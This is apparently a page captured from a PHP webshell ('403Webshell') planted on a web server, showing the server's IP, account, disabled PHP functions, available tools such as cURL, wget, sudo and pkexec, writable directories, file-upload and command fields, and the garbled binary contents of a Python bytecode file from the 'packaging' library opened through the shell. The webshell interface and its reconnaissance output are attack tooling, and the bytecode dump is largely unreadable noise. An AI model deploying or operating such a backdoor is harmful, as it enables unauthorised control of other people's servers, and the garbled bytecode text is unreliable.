403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.12/site-packages/packaging/licenses/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.12/site-packages/packaging/licenses/__pycache__/__init__.cpython-312.pyc
�

��gS���ddlmZddlZddlmZmZddlmZmZgd�Z	ejd�Zede�Z
Gd�d	e�Z				dd
�Zy)�)�annotationsN)�NewType�cast)�
EXCEPTIONS�LICENSES)�NormalizedLicenseExpression�InvalidLicenseExpression�canonicalize_license_expressionz^[A-Za-z0-9.-]*$rc��eZdZdZy)r	z�Raised when a license-expression string is invalid

    >>> canonicalize_license_expression("invalid")
    Traceback (most recent call last):
        ...
    packaging.licenses.InvalidLicenseExpression: Invalid license expression: 'invalid'
    N)�__name__�
__module__�__qualname__�__doc__���@/usr/lib/python3.12/site-packages/packaging/licenses/__init__.pyr	r	2s��rr	c	��|sd|��}t|��|jdd�jdd�}d}|j�D�cic]O}|j�j	|j��r |j�d|t|�dz��Q}}|j�}|j�}g}|D]^}|dvr|j
d��|d	k(r|j
d
��0|dk(r|r|ddvrd|��}t|��|j
|��`d
j|�}		t|	t�t��}
|
durd|��}t|�d�g}|D�]}|dvr |j
|j���(|r<|ddk(r4|tvrd|��}t|��|j
t|d��f|jd�r|dd}d}
n|}d}
|j	d�r=tj!|�sd|��}t|��|j
|||
z���|t"vrd|��}t|��|j
t"|d|
z���	d
j|�}t%t&|jdd�jdd��Scc}w#t$rd}
Y��wwxYw)NzInvalid license expression: �(z ( �)z ) zLicenseRef->rr�or�and�with�Falserr���>rr� TF�WITHzUnknown license exception: �id�+�zlicenseref-zInvalid licenseref: zUnknown license: z( z ))r	�replace�split�lower�
startswith�len�append�join�eval�globals�locals�	Exception�upperr�endswith�license_ref_allowed�matchrrr)�raw_license_expression�message�license_expression�licenseref_prefix�ref�license_refs�tokens�
python_tokens�token�python_expression�invalid�normalized_tokens�final_token�suffix�normalized_expressions               rr
r
<s��"�0�1G�0J�K��&�w�/�/�0�7�7��U�C�K�K�C�QV�W��%��&�+�+�-��-�C��9�9�;�!�!�"3�"9�"9�";�<�	�	�	��]�S��->�)?�)A�%B�B�B�-���,�1�1�3��
�
%�
%�
'�F�
�M����7�7�� � ��)�
�f�_�� � ��&�
�c�\�m�
�b�0A��0V�4�5K�4N�O�G�*�7�3�3�� � ��'������/����(�'�)�V�X�>���e��0�1G�0J�K��&�w�/�T�9������3�3��$�$�U�[�[�]�3���!2�2�!6�&�!@��J�&�7��y�A��.�w�7�7��$�$�Z��%6�t�%<�=��~�~�c�"�#�C�R�j����#�����%�%�m�4�*�0�0��=� 4�[�O�D�G�2�7�;�;�!�(�(��k�)B�V�)K�L��h�.� 1�+��A�G�2�7�;�;�!�(�(��+�)>�t�)D�v�)M�N�9�< �H�H�%6�7���#��%�%�d�C�0�8�8��s�C����O��<�����s�	AJ7�6J<�<K�
K)r/�str�returnr)�
__future__r�re�typingrr�packaging.licenses._spdxrr�__all__�compiler-r>r�
ValueErrorr	r
rrr�<module>rGsa��@#�	� �9���!�b�j�j�!3�4��%�&C�S�I���z��U��U� �Ur

Youez - 2016 - github.com/yon3zu
LinuXploit